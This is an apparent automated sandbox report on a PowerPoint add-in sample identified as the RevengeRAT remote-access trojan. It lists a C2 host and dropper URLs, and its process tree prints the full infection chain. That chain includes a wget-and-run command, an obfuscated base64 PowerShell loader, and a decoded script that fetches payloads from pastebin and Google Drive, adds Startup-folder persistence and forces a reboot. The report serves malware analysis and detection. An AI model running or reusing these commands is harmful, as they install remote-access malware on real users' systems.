Analysis

  • max time kernel
    0s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/06/2024, 01:43

General

  • Target
    68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam
  • Size 12KB
  • Sample240607-b5l31agf68
  • SHA256 68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://pastebin.com/raw/gk5zDwdG

  • exe.dropper

    https://drive.google.com/uc?export=download&id=

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • marcelotatuape.ddns.net:333

Mutex
  • 1702a2bb715848

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Suspicious use of SetWindowsHookEx 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam" /ou ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:3116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/fKOyTmUn/QXVgotKU.b12ff87cbf801677a1a4bd76e1e88980 -o test.js; explorer.exe test.js
      2⤵
      • Process spawned unexpected child process
      PID:228
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" test.js
        3⤵
          PID:2248
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
        PID:1556
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"
          2⤵
            PID:4896
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $teste_mAMGD = 'J❧BW❧GU❧cgBw❧G8❧dwBl❧HI❧I❧❧9❧C❧❧J❧Bo❧G8❧cwB0❧C4❧VgBl❧HI❧cwBp❧G8❧bg❧u❧E0❧YQBq❧G8❧cg❧u❧EU❧cQB1❧GE❧b❧Bz❧Cg❧Mg❧p❧Ds❧SQBm❧C❧❧K❧❧k❧FY❧ZQBy❧H❧❧bwB3❧GU❧cg❧p❧C❧❧ew❧k❧H❧❧YQBz❧HQ❧YQ❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧SQBP❧C4❧U❧Bh❧HQ❧a❧Bd❧Do❧OgBH❧GU❧d❧BU❧GU❧bQBw❧F❧❧YQB0❧Gg❧K❧❧p❧Ds❧Z❧Bl❧Gw❧I❧❧o❧CQ❧c❧Bh❧HM❧d❧Bh❧C❧❧Kw❧g❧Cc❧X❧BV❧H❧❧dwBp❧G4❧LgBt❧HM❧dQ❧n❧Ck❧Ow❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBk❧HI❧aQB2❧GU❧LgBn❧G8❧bwBn❧Gw❧ZQ❧u❧GM❧bwBt❧C8❧dQBj❧D8❧ZQB4❧H❧❧bwBy❧HQ❧PQBk❧G8❧dwBu❧Gw❧bwBh❧GQ❧JgBp❧GQ❧PQ❧n❧Ds❧J❧BX❧Gk❧bgBW❧GU❧cg❧g❧D0❧I❧❧k❧GU❧bgB2❧Do❧U❧BS❧E8❧QwBF❧FM❧UwBP❧FI❧XwBB❧FI❧QwBI❧Ek❧V❧BF❧EM❧V❧BV❧FI❧RQ❧u❧EM❧bwBu❧HQ❧YQBp❧G4❧cw❧o❧Cc❧Ng❧0❧Cc❧KQ❧7❧Gk❧Zg❧g❧Cg❧J❧BX❧Gk❧bgBW❧GU❧cg❧p❧C❧❧ew❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧o❧CQ❧VQBS❧Ew❧SwBC❧C❧❧Kw❧g❧Cc❧Vw❧x❧DE❧MgBB❧GQ❧U❧Bm❧Ek❧M❧BQ❧EM❧NwBo❧GI❧cwBj❧Gk❧Xw❧1❧F8❧M❧Bf❧GU❧VQ❧3❧E4❧dwBN❧Fo❧a❧Bm❧DQ❧e❧❧n❧Ck❧I❧❧7❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧J❧BV❧FI❧T❧BL❧EI❧I❧❧9❧C❧❧K❧❧k❧FU❧UgBM❧Es❧Qg❧g❧Cs❧I❧❧n❧DE❧YgBy❧Go❧NQBq❧HE❧bgBx❧FI❧e❧BD❧EQ❧NgBW❧Gg❧ZgBo❧EE❧bg❧y❧HI❧YwBW❧GY❧cwBS❧G8❧NwBE❧Dg❧ZwBy❧Cc❧KQ❧g❧Ds❧fQ❧7❧CQ❧d❧BQ❧FY❧RgBz❧C❧❧PQ❧g❧Cg❧TgBl❧Hc❧LQBP❧GI❧agBl❧GM❧d❧❧g❧E4❧ZQB0❧C4❧VwBl❧GI❧QwBs❧Gk❧ZQBu❧HQ❧KQ❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧RgBp❧Gw❧ZQ❧o❧CQ❧VQBS❧Ew❧SwBC❧Cw❧I❧❧k❧H❧❧YQBz❧HQ❧YQ❧g❧Cs❧I❧❧n❧Fw❧VQBw❧Hc❧aQBu❧C4❧bQBz❧HU❧Jw❧p❧C❧❧Ow❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧D0❧I❧❧o❧Cc❧Qw❧6❧Fw❧VQBz❧GU❧cgBz❧Fw❧Jw❧g❧Cs❧I❧Bb❧EU❧bgB2❧Gk❧cgBv❧G4❧bQBl❧G4❧d❧Bd❧Do❧OgBV❧HM❧ZQBy❧E4❧YQBt❧GU❧I❧❧p❧Ds❧J❧Bm❧Gk❧b❧Bl❧C❧❧PQ❧g❧Cg❧J❧Bw❧GE❧cwB0❧GE❧I❧❧r❧C❧❧JwBc❧FU❧c❧B3❧Gk❧bg❧u❧G0❧cwB1❧Cc❧KQ❧7❧C❧❧c❧Bv❧Hc❧ZQBy❧HM❧a❧Bl❧Gw❧b❧❧u❧GU❧e❧Bl❧C❧❧dwB1❧HM❧YQ❧u❧GU❧e❧Bl❧C❧❧J❧Bm❧Gk❧b❧Bl❧C❧❧LwBx❧HU❧aQBl❧HQ❧I❧❧v❧G4❧bwBy❧GU❧cwB0❧GE❧cgB0❧C❧❧Ow❧g❧EM❧bwBw❧Hk❧LQBJ❧HQ❧ZQBt❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧I❧❧t❧EQ❧ZQBz❧HQ❧aQBu❧GE❧d❧Bp❧G8❧bg❧g❧Cg❧I❧❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧Cs❧I❧❧n❧Fw❧QQBw❧H❧❧R❧Bh❧HQ❧YQBc❧FI❧bwBh❧G0❧aQBu❧Gc❧X❧BN❧Gk❧YwBy❧G8❧cwBv❧GY❧d❧Bc❧Fc❧aQBu❧GQ❧bwB3❧HM❧X❧BT❧HQ❧YQBy❧HQ❧I❧BN❧GU❧bgB1❧Fw❧U❧By❧G8❧ZwBy❧GE❧bQBz❧Fw❧UwB0❧GE❧cgB0❧HU❧c❧❧n❧C❧❧KQ❧g❧C0❧ZgBv❧HI❧YwBl❧C❧❧OwBw❧G8❧dwBl❧HI❧cwBo❧GU❧b❧Bs❧C4❧ZQB4❧GU❧I❧❧t❧GM❧bwBt❧G0❧YQBu❧GQ❧I❧❧n❧HM❧b❧Bl❧GU❧c❧❧g❧DE❧O❧❧w❧Cc❧Ow❧g❧HM❧a❧B1❧HQ❧Z❧Bv❧Hc❧bg❧u❧GU❧e❧Bl❧C❧❧LwBy❧C❧❧LwB0❧C❧❧M❧❧g❧C8❧Zg❧g❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧E4❧ZQB0❧C4❧UwBl❧HI❧dgBp❧GM❧ZQBQ❧G8❧aQBu❧HQ❧TQBh❧G4❧YQBn❧GU❧cgBd❧Do❧OgBT❧GU❧cgB2❧GU❧cgBD❧GU❧cgB0❧Gk❧ZgBp❧GM❧YQB0❧GU❧VgBh❧Gw❧aQBk❧GE❧d❧Bp❧G8❧bgBD❧GE❧b❧Bs❧GI❧YQBj❧Gs❧I❧❧9❧C❧❧ew❧k❧HQ❧cgB1❧GU❧fQ❧7❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBO❧GU❧d❧❧u❧FM❧ZQBy❧HY❧aQBj❧GU❧U❧Bv❧Gk❧bgB0❧E0❧YQBu❧GE❧ZwBl❧HI❧XQ❧6❧Do❧UwBl❧GM❧dQBy❧Gk❧d❧B5❧F❧❧cgBv❧HQ❧bwBj❧G8❧b❧❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧TgBl❧HQ❧LgBT❧GU❧YwB1❧HI❧aQB0❧Hk❧U❧By❧G8❧d❧Bv❧GM❧bwBs❧FQ❧eQBw❧GU❧XQ❧6❧Do❧V❧Bs❧HM❧MQ❧y❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧K❧BO❧GU❧dw❧t❧E8❧YgBq❧GU❧YwB0❧C❧❧TgBl❧HQ❧LgBX❧GU❧YgBD❧Gw❧aQBl❧G4❧d❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧7❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧PQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧R❧Bv❧Hc❧bgBs❧G8❧YQBk❧FM❧d❧By❧Gk❧bgBn❧Cg❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBw❧GE❧cwB0❧GU❧YgBp❧G4❧LgBj❧G8❧bQ❧v❧HI❧YQB3❧C8❧ZwBr❧DU❧egBE❧Hc❧Z❧BH❧Cc❧I❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧KQ❧7❧Fs❧QgB5❧HQ❧ZQBb❧F0❧XQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧PQ❧g❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBD❧G8❧bgB2❧GU❧cgB0❧F0❧Og❧6❧EY❧cgBv❧G0❧QgBh❧HM❧ZQ❧2❧DQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧UgBl❧H❧❧b❧Bh❧GM❧ZQ❧o❧C❧❧JwCTITo❧kyEn❧C❧❧L❧❧g❧Cc❧QQ❧n❧C❧❧KQ❧g❧Ck❧OwBb❧FM❧eQBz❧HQ❧ZQBt❧C4❧QQBw❧H❧❧R❧Bv❧G0❧YQBp❧G4❧XQ❧6❧Do❧QwB1❧HI❧cgBl❧G4❧d❧BE❧G8❧bQBh❧Gk❧bg❧u❧Ew❧bwBh❧GQ❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧KQ❧u❧Ec❧ZQB0❧FQ❧eQBw❧GU❧K❧❧g❧Cc❧QwBs❧GE❧cwBz❧Ew❧aQBi❧HI❧YQBy❧Hk❧Mw❧u❧EM❧b❧Bh❧HM❧cw❧x❧Cc❧I❧❧p❧C4❧RwBl❧HQ❧TQBl❧HQ❧a❧Bv❧GQ❧K❧❧g❧Cc❧c❧By❧EY❧VgBJ❧Cc❧I❧❧p❧C4❧SQBu❧HY❧bwBr❧GU❧K❧❧k❧G4❧dQBs❧Gw❧L❧❧g❧Fs❧bwBi❧Go❧ZQBj❧HQ❧WwBd❧F0❧I❧❧o❧C❧❧Jw❧5❧D❧❧Yg❧w❧DY❧M❧❧4❧DQ❧Yw❧w❧Dc❧Mw❧2❧Dc❧OQ❧5❧GY❧NQBk❧Dc❧O❧❧y❧GY❧O❧❧1❧GE❧MwBj❧D❧❧YQ❧w❧DU❧PQB2❧CY❧Z❧Bh❧G8❧b❧Bu❧Hc❧bwBk❧D0❧ZQBj❧HI❧dQBv❧HM❧JgB0❧Hg❧d❧❧u❧DQ❧Mg❧w❧DI❧Lg❧2❧D❧❧Lg❧0❧D❧❧Nw❧y❧CU❧Nw❧y❧CU❧O❧❧t❧EY❧V❧BV❧EQ❧Mw❧l❧EE❧Mg❧l❧GU❧bQBh❧G4❧ZQBs❧Gk❧Zg❧r❧EI❧Mw❧l❧DI❧Mg❧l❧HQ❧e❧B0❧C4❧N❧❧y❧D❧❧Mg❧u❧DY❧M❧❧u❧DQ❧M❧❧y❧DI❧JQBE❧DM❧JQBl❧G0❧YQBu❧GU❧b❧Bp❧GY❧KwBC❧DM❧JQB0❧G4❧ZQBt❧Gg❧YwBh❧HQ❧d❧Bh❧D0❧bgBv❧Gk❧d❧Bp❧HM❧bwBw❧HM❧aQBk❧C0❧d❧Bu❧GU❧d❧Bu❧G8❧Yw❧t❧GU❧cwBu❧G8❧c❧Bz❧GU❧cg❧/❧HQ❧e❧B0❧C4❧N❧❧z❧GU❧Mg❧x❧GU❧YwBj❧Dc❧OQ❧x❧DQ❧LQBm❧DE❧Nw❧4❧C0❧M❧❧w❧DY❧N❧❧t❧Dc❧N❧❧0❧GY❧LQ❧3❧GY❧N❧❧2❧GU❧YQBh❧Dc❧LwBK❧Dg❧W❧B5❧Es❧dQBE❧GU❧LwBz❧G0❧ZQB0❧Gk❧LwBt❧G8❧Yw❧u❧HQ❧a❧Bn❧Gk❧eg❧u❧G4❧Z❧Bj❧C4❧M❧Bu❧C4❧MQBy❧HQ❧Lg❧3❧H❧❧Lw❧v❧Do❧cwBw❧HQ❧d❧Bo❧Cc❧I❧❧s❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧L❧❧g❧Cc❧V❧By❧HU❧ZQ❧x❧Cc❧I❧❧p❧C❧❧KQ❧7❧H0❧Ow❧=';$teste_mAMGD = $teste_mAMGD.replace('❧','A');$teste_mAMGD = [System.Convert]::FromBase64String( $teste_mAMGD ) ;$teste_mAMGD = [System.Text.Encoding]::Unicode.GetString( $teste_mAMGD );$teste_mAMGD = $teste_mAMGD.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js');powershell $teste_mAMGD
              3⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2488
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verpower = $host.Version.Major.Equals(2);If ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$URLKB = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($WinVer) {$URLKB = ($URLKB + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$URLKB = ($URLKB + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$tPVFs = (New-Object Net.WebClient) ;$tPVFs.Encoding = [System.Text.Encoding]::UTF8 ;$tPVFs.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$teste_gyswQ = (New-Object Net.WebClient);$teste_gyswQ.Encoding = [System.Text.Encoding]::UTF8;$teste_XYHIa = $teste_gyswQ.DownloadString( 'https://pastebin.com/raw/gk5zDwdG' );$teste_gyswQ = $teste_gyswQ.DownloadString( $teste_XYHIa );[Byte[]] $teste_UQPpZ = [System.Convert]::FromBase64String( $teste_gyswQ.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $teste_UQPpZ ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '90b06084c0736799f5d782f85a3c0a05=v&daolnwod=ecruos&txt.4202.60.4072%72%8-FTUD3%A2%emanelif+B3%22%txt.4202.60.4022%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.43e21ecc7914-f178-0064-744f-7f46eaa7/J8XyKuDe/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'True1' ) );};"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4840
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2084
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"
                  5⤵
                    PID:2880
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qfdkg.ps1"
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:4420
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      6⤵
                        PID:3644

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 38400f70d7057dc3ac450b36ea385d867c8fb64340505f2033e84c0917acd449
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 a35b0489a820cc48ea43d8996a8f5cde14ee0be7c4233e153f218f3aa05308b1
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 64B
                  • SHA256 baa9d321bc8b0db872b6ba575f9a73f49a82c6c77903f501362bec29b99a365e
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 10d0c060bd522632a5034ea9d5b78637043f4ae8d84e3bcc6b1ea0457b063bc8
                  • MD5 SHA1 SHA512

                  __PSScriptPolicyTest_sni2uwxc.zqt.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sni2uwxc.zqt.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  test.js

                  • Path C:\Users\Admin\AppData\Local\Temp\test.js
                  • Size 15KB
                  • SHA256 7d6b6172faca0b9c0f5a2165c4daa1529bd3a9c6056e7409659782d2abbd139b
                  • MD5 SHA1 SHA512 SSDEEP

                  qfdkg.ps1

                  • Path C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qfdkg.ps1
                  • Size 135KB
                  • SHA256 8cc8e6408557da8f12d6eab90bef4c99bdcfd3b44c7a9526bd44530e3c306146
                  • MD5 SHA1 SHA512 SSDEEP

                  x2.ps1

                  • Path C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1
                  • Size 390B
                  • SHA256 34467283cb2a2b54d34047eb0c3896b70aa7b03efe5295689b2cb939ad9c35bf
                  • MD5 SHA1 SHA512

                  memory/228-33-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/228-55-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/228-43-0x00000159DDA40000-0x00000159DDA62000-memory.dmp

                  memory/3116-1-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-20-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-12-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-11-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-10-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-6-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-5-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-4-0x00007FF8DE70D000-0x00007FF8DE70E000-memory.dmp

                  memory/3116-26-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-27-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-2-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-3-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-15-0x00007FF89C490000-0x00007FF89C4A0000-memory.dmp

                  memory/3116-16-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-17-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-0-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-19-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-13-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-21-0x00007FF89C490000-0x00007FF89C4A0000-memory.dmp

                  memory/3116-18-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-7-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-14-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-104-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-105-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-103-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-102-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-101-0x00007FF89E6F0000-0x00007FF89E700000-memory.dmp

                  memory/3116-8-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3116-9-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

                  memory/3644-125-0x0000000000400000-0x000000000040A000-memory.dmp

                  memory/3644-127-0x0000000005400000-0x00000000059A4000-memory.dmp

                  memory/4420-124-0x000001FDEE570000-0x000001FDEE57A000-memory.dmp

                  memory/4840-81-0x0000023FD08F0000-0x0000023FD08FA000-memory.dmp